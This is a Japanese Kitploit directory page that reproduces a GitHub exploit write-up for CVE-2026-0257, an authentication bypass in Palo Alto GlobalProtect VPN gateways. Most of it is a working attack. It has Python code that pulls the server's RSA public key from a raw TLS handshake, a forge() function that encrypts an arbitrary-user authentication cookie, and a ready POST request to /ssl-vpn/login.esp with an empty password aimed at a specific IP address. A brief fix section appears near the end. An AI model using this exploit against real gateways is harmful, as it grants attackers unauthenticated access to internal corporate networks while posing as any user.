Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-0257 — Palo Alto Networks PAN-OSには、GlobalProtectポータルとゲートウェイの欠陥に起因する認証バイパスの脆弱性が存在します。攻撃者はこれを利用して不正なVPN接続を確立できる可能性があります。この脆弱性を悪用するには、ポータルまたはゲートウェイへのネットワークアクセスが必要です。 | Kitploit
ツール/GitHubGitHub/tushargurav28/cve-2026-0257
脆弱性分析エクスプロイトウェブアプリケーション悪用ネットワークセキュリティ暗号化ペネトレーションテスト認証レッドチーミング
GitHubtushargurav28/cve-2026-0257

CVE-2026-0257

Palo Alto Networks PAN-OSには、GlobalProtectポータルとゲートウェイの欠陥に起因する認証バイパスの脆弱性が存在します。攻撃者はこれを利用して不正なVPN接続を確立できる可能性があります。この脆弱性を悪用するには、ポータルまたはゲートウェイへのネットワークアクセスが必要です。

リポジトリを見る
333ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-0257: GlobalProtect 認証バイパス

概要

このエクスプロイトは、サーバーの公開されているTLS証明書のみを使用して認証クッキーを偽造することで、Palo Alto GlobalProtect ゲートウェイ/ポータルへの未認証VPNアクセスを実現します。


核心となる脆弱性(なぜ機能するのか)

GlobalProtect は、クライアントの認証を可能にする事前認証クッキー(portal-userauthcookie)を使用しています。ここに致命的な欠陥があります:

root@kitploit:~
Normal Flow:
  1. Client authenticates (username + password)
  2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
  3. Client stores the encrypted cookie
  4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it

The Bug:
  The server ONLY checks if the cookie decrypts successfully with its private key.
  It does NOT verify WHO encrypted it or if the plaintext content is legitimate.

RSA公開鍵はサーバーのTLS証明書に埋め込まれており(接続する誰でもアクセス可能)、そのため任意の攻撃者は以下を行うことができます:

  1. TLS証明書から公開鍵を取得する
  2. 任意のユーザー名でクッキーを偽造する
  3. 公開鍵で暗号化する
  4. サーバーに送信する → サーバーは復号する → 有効として受け入れる

これは教科書どおりの壊れた認証の欠陥です — デジタル署名またはが必要な場面で暗号化を使用しています。

HMAC

エクスプロイトチェーン(5ステップ)

root@kitploit:~
flowchart TD
    A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
    B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
    C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
    D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
    E --> F["Step 6: POST to /ssl-vpn/login.esp"]
    F --> G{"Server Decrypts Cookie"}
    G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
    G -->|"Invalid"| I[" Rejected"]

ステップ 1: 生のTLS ClientHelloを構築する

なぜ生(raw)なのか? サーバーの証明書をDER(生バイナリ)形式で取得する必要があるためです。Python の ssl モジュールは内部で完全なTLSハンドシェイクを実行し、同じ方法で生の証明書バイトを公開しません。生のTCP接続を行い、手作りしたClientHelloを送信することで、サーバーの応答をバイトレベルで傍受できます。

ワイヤーフォーマット

TLSレコードは次のようになります:

root@kitploit:~
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes)                      │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Type │ Version  │   Length   │                 │
│ │ 0x16 │ 0x03 01  │  2 bytes   │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Handshake Message                                │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Type │   Length   │      Body               │  │
│ │ 0x01 │  3 bytes   │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

コード: build_hello()

ClientHelloボディには以下が含まれます:

フィールド値目的
バージョン0x03 0x03 (TLS 1.2)TLS 1.2に対応していることをサーバーに伝える
ランダム4バイトのタイムスタンプ + 28バイトのランダム値ハンドシェイク用のノンス
セッションID0x00 (空)セッション再開なし
暗号スイートTLS_RSA_WITH_AES_128_CBC_SHA を含む9スイート重要: RSAのみの暗号スイートを含めることで、サーバーにRSA証明書の使用を強制します
圧縮0x00 (なし)必須

含まれる拡張:

拡張ID目的
SNI(サーバー名表示)0x0000接続先のホスト名をサーバーに伝える
署名アルゴリズム0x000Dサポートする署名アルゴリズムを通知する
サポート対象グループ0x000AサポートするEC曲線(P-256、P-384、P-521)
ECポイント形式0x000B非圧縮ECポイント

[!NOTE] 暗号スイートには意図的にRSA鍵交換暗号(0x002F = TLS_RSA_WITH_AES_128_CBC_SHA)が含まれています。これにより、サーバーはECDSA証明書ではなくRSA証明書で応答するように促されます。これはエクスプロイトがRSAでのみ機能するため重要です。


ステップ 2: サーバーの応答を受信して解析する

ClientHelloを送信した後、サーバーは複数のTLSレコードを返します:

root@kitploit:~
Server Response:
  ┌─────────────────┐
  │ ServerHello      │  (handshake type 2)
  ├─────────────────┤
  │ Certificate      │  (handshake type 11) ← WE WANT THIS
  ├─────────────────┤
  │ ServerKeyExchange│  (handshake type 12, optional)
  ├─────────────────┤
  │ ServerHelloDone  │  (handshake type 14) ← STOP SIGNAL
  └─────────────────┘

コード: parse_certs()

フェーズ1 — TLSレコードヘッダーの除去:

各TLSレコードには5バイトのヘッダーがあります:[type(1)] [version(2)] [length(2)]。コードはすべてのレコードをスキャンし、type == 22(Handshake)のものについて、そのペイロードを連結します:

root@kitploit:~
while i + 5 <= len(data):
    t = data[i]                              # content type
    rl = (data[i + 3] << 8) | data[i + 4]   # record length
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # grab payload
    i += 5 + rl                              # next record

フェーズ2 — Certificateメッセージ(タイプ11)の検出:

ハンドシェイクストリーム内では、各メッセージに4バイトのヘッダーがあります:[type(1)] [length(3)]。type == 11をスキャンします:

root@kitploit:~
while j + 4 <= len(hs):
    ht = hs[j]                                           # handshake type
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # 3-byte length
    if ht == 11:  # Certificate!
        # Parse the certificate list inside

フェーズ3 — 個々のDER証明書の抽出:

Certificateメッセージには証明書のリストが含まれ、各証明書には3バイトの長さが前置されます:

root@kitploit:~
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes)      │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes)           │
│ Cert 1 DER data (variable)       │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes)           │
│ Cert 2 DER data (variable)       │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

私たちのテスト実行では、3つの証明書(リーフ証明書、中間CA、ルートCA)を取得しました。

コード: has_done()

この関数はServerHelloDone(ハンドシェイクタイプ14)をスキャンします。これはサーバーが送信を完了したことを示し、読み取りを停止できることを知らせます。


ステップ 3: X.509証明書を解析する(ASN.1/DER)

X.509証明書はDER(Distinguished Encoding Rules)でエンコードされており、これはASN.1(Abstract Syntax Notation One)に基づくバイナリ形式です。

ASN.1 TLV(タグ-長さ-値)形式

DER内のすべての要素は次のとおりです:

root@kitploit:~
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload)   │
│ 1B  │ 1-5B  │ variable          │
└─────┴────────┴───────────────────┘

長さのエンコード:

  • バイトが 0x80 未満の場合:長さはそのバイト自体(短形式)
  • バイトが 0x80 以上の場合:下位7ビット = 長さをエンコードする後続バイト数(長形式)
root@kitploit:~
# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes

コード: rd_tl()

root@kitploit:~
def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # long form?
        nb = length & 0x7F              # how many bytes follow
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = start of value

X.509証明書の構造

root@kitploit:~
Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (optional)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ WE WANT THIS ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (optional)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

コード: get_rsa_key()

この関数は、タグ+長さを読み取り、不要なフィールドをスキップしながらDERツリーを移動します:

root@kitploit:~
# Enter outer SEQUENCE (Certificate)
r = rd_tl(der, 0)            # → SEQUENCE
# Enter tbsCertificate SEQUENCE
r = rd_tl(der, p)            # → SEQUENCE
# Check for optional version tag
r = rd_tl(der, p)
if r["tag"] == 0xA0:         # version field present → skip it
    p = r["pos"] + r["len"]
    r = rd_tl(der, p)

# Skip: serial → sigAlg → issuer → validity → subject
# (just read each TLV and jump past it)

# NOW we're at subjectPublicKeyInfo
# Read the AlgorithmIdentifier → check if OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
#          ↑ This is 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
    return None  # Not RSA (probably ECDSA)

# Read the BIT STRING → skip 1 byte (unused bits indicator)
# Read the inner SEQUENCE → extract modulus (n) and exponent (e)

重要な詳細 — モジュラスの先頭ゼロバイト:

root@kitploit:~
if der[ms] == 0 and ml > 1:
    ms += 1    # strip leading 0x00
    ml -= 1

DERは整数を符号付きでエンコードします。モジュラスの最上位ビットが1の場合、正の値を保つために0x00バイトが先頭に付加されます。生の符号なし値が必要なため、これを削除します。

今回のターゲットの場合: モジュラス = 2048ビット(256バイト)、指数 = 65537(0x10001)


ステップ 4: 認証クッキーを偽造する(PKCS#1 v1.5)

これがエクスプロイトの核心です。

クッキーに含まれるもの

平文クッキーの形式は次のとおりです:

root@kitploit:~
admin;;Windows;;1748928001;0.0.0.0
  │        │        │        │
  │        │        │        └── Client IP
  │        │        └── Unix timestamp
  │        └── OS identifier
  └── Username (we choose "admin")

PKCS#1 v1.5 暗号化パディング(タイプ2)

RSA暗号化の前に、平文を鍵サイズ(2048ビットRSAでは256バイト)までパディングする必要があります:

root@kitploit:~
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Random non-zero padding  │ 0x00 │ Plaintext message   │
│      │      │ (≥ 8 bytes)              │      │                     │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
  1B     1B      padLen bytes              1B      message bytes

Total = 256 bytes (= key size)

コード: forge()

root@kitploit:~
def forge(n, e, kl, username):
    ts = str(int(time.time()))
    pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")

    pad_len = kl - len(pt) - 3    # 3 = 0x00 + 0x02 + 0x00 separator
    if pad_len < 8:                # PKCS#1 requires ≥ 8 pad bytes
        return ""

    em = bytearray([0x00, 0x02])   # Type 2 padding header
    for _ in range(pad_len):
        em.append(random.randint(1, 255))  # non-zero random bytes!
    em.append(0x00)                # separator
    cat(em, pt)                    # append plaintext

    # RSA encryption: ciphertext = em^e mod n
    return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))

RSAの計算:

root@kitploit:~
ciphertext = plaintext^e mod n

Where:
  plaintext = the padded message as a big integer (256 bytes → ~2048 bits)
  e = 65537 (public exponent)
  n = the 2048-bit modulus from the certificate

[!IMPORTANT] これは、RSA暗号化が公開鍵(n, e)を使用するため機能します。公開鍵はTLS証明書から誰でも取得できます。サーバーは秘密鍵(n, d)で復号し、平文 — admin;;Windows;;timestamp;0.0.0.0 を取得します。

その後、サーバーはこの平文を盲目的に信頼します — クッキーが自分自身によって正当に発行されたかどうかを決して検証しません。


ステップ 5: 偽造したクッキーをログインエンドポイントに送信する

コード: test_cookie()

偽造したクッキーは、標準のHTTPS POSTとしてGlobalProtect ログインエンドポイントに送信されます:

root@kitploit:~
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close

prot=https
&server=1.255.199.2
&user=admin
&passwd=                          ← empty! no password needed
&context=gateway                  ← or "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=

[!NOTE] passwdフィールドは空です。サーバーはパスワードをまったくチェックせず、認証を完全にportal-userauthcookieに依存しています。

このエクスプロイトは2つのエンドポイントをテストします:

  1. ゲートウェイ(context=gateway):VPNトンネルへの直接アクセス
  2. ポータル(context=portal):ポータル設定へのアクセス

成功の検出

root@kitploit:~
def is_gateway_success(resp, user):
    # Check for HTTP 200
    # Check for <status>Success</status> in XML body
    # OR <argument> tag containing the username

ステップ 6: サーバー側で何が起こるか

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant GP as GlobalProtect Server

    A->>GP: TCP Connect (port 443)
    A->>GP: Raw TLS ClientHello (hand-crafted)
    GP->>A: ServerHello + Certificate (contains RSA public key)
    GP->>A: ServerHelloDone
    Note over A: Extracts RSA public key (n, e) from cert
    Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
    A->>GP: POST /ssl-vpn/login.esp (over TLS)
    Note over GP: Receives portal-userauthcookie
    Note over GP: Decrypts with RSA private key
    Note over GP: Gets "admin;;Windows;;ts;0.0.0.0"
    Note over GP: ⚠️ Trusts it blindly — no signature check!
    GP->>A: HTTP 200 OK + <status>Success</status>
    Note over A: 🎉 Full VPN access as "admin"

なぜこれが壊滅的なバグなのか

側面影響
認証情報が不要公開鍵は文字通り公開されており、接続する誰でも取得できます
ブルートフォース不要試行ごとに単一のリクエストで、脆弱なサーバーでは常に成功します
事前認証ログイン前に悪用可能 — 既存のセッションは不要
ユーザーになりすまし攻撃者は任意のユーザー名(admin、CEOなど)を選択できます
完全なVPNアクセス認証されると、攻撃者は内部ネットワーク上にいます
パスワード失敗のログなし認証はクッキー経由のため、パスワード失敗のアラートは発生しません

修正方法(Palo Alto が行うべきこと)

根本的な問題は、認証に暗号化を使用していることです。正しいアプローチは次のとおりです:

  1. デジタル署名:サーバーは暗号化されたクッキーを復号するのではなく、秘密鍵でクッキーに署名する必要があります。そして再認証時に署名を検証します。

  2. HMAC:サーバー側の秘密鍵を使用してクッキーペイロードをHMACで保護します。秘密を知っているのはサーバーだけなので、クッキーを偽造することはできません。

  3. トークンバインディング:クッキーを元の認証セッションにバインドし、異なるコンテキストから再生できないようにします。

root@kitploit:~
Broken:   cookie = RSA_encrypt(userdata, public_key)   ← anyone can do this!
Fixed:    cookie = HMAC(server_secret, userdata)        ← only server can do this

まとめ: 完全なデータフロー

root@kitploit:~
1. TCP connect to target:443
2. Send hand-crafted ClientHello (raw bytes over TCP, NOT TLS)
3. Receive ServerHello + Certificate + ServerHelloDone
4. Parse TLS records → extract handshake messages
5. Find Certificate message (type 11) → extract DER-encoded certs
6. Walk ASN.1/DER structure of leaf cert:
   SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
   → subjectPublicKeyInfo → algorithmIdentifier (check OID = RSA)
   → BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Build plaintext: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 pad: 0x00 0x02 [random≥8] 0x00 [plaintext]
9. RSA encrypt: ciphertext = padded^e mod n
10. Base64 encode → URL encode
11. POST to /ssl-vpn/login.esp with forged cookie (over proper TLS)
12. Server decrypts → trusts blindly → grants VPN access
ツールをダウンロード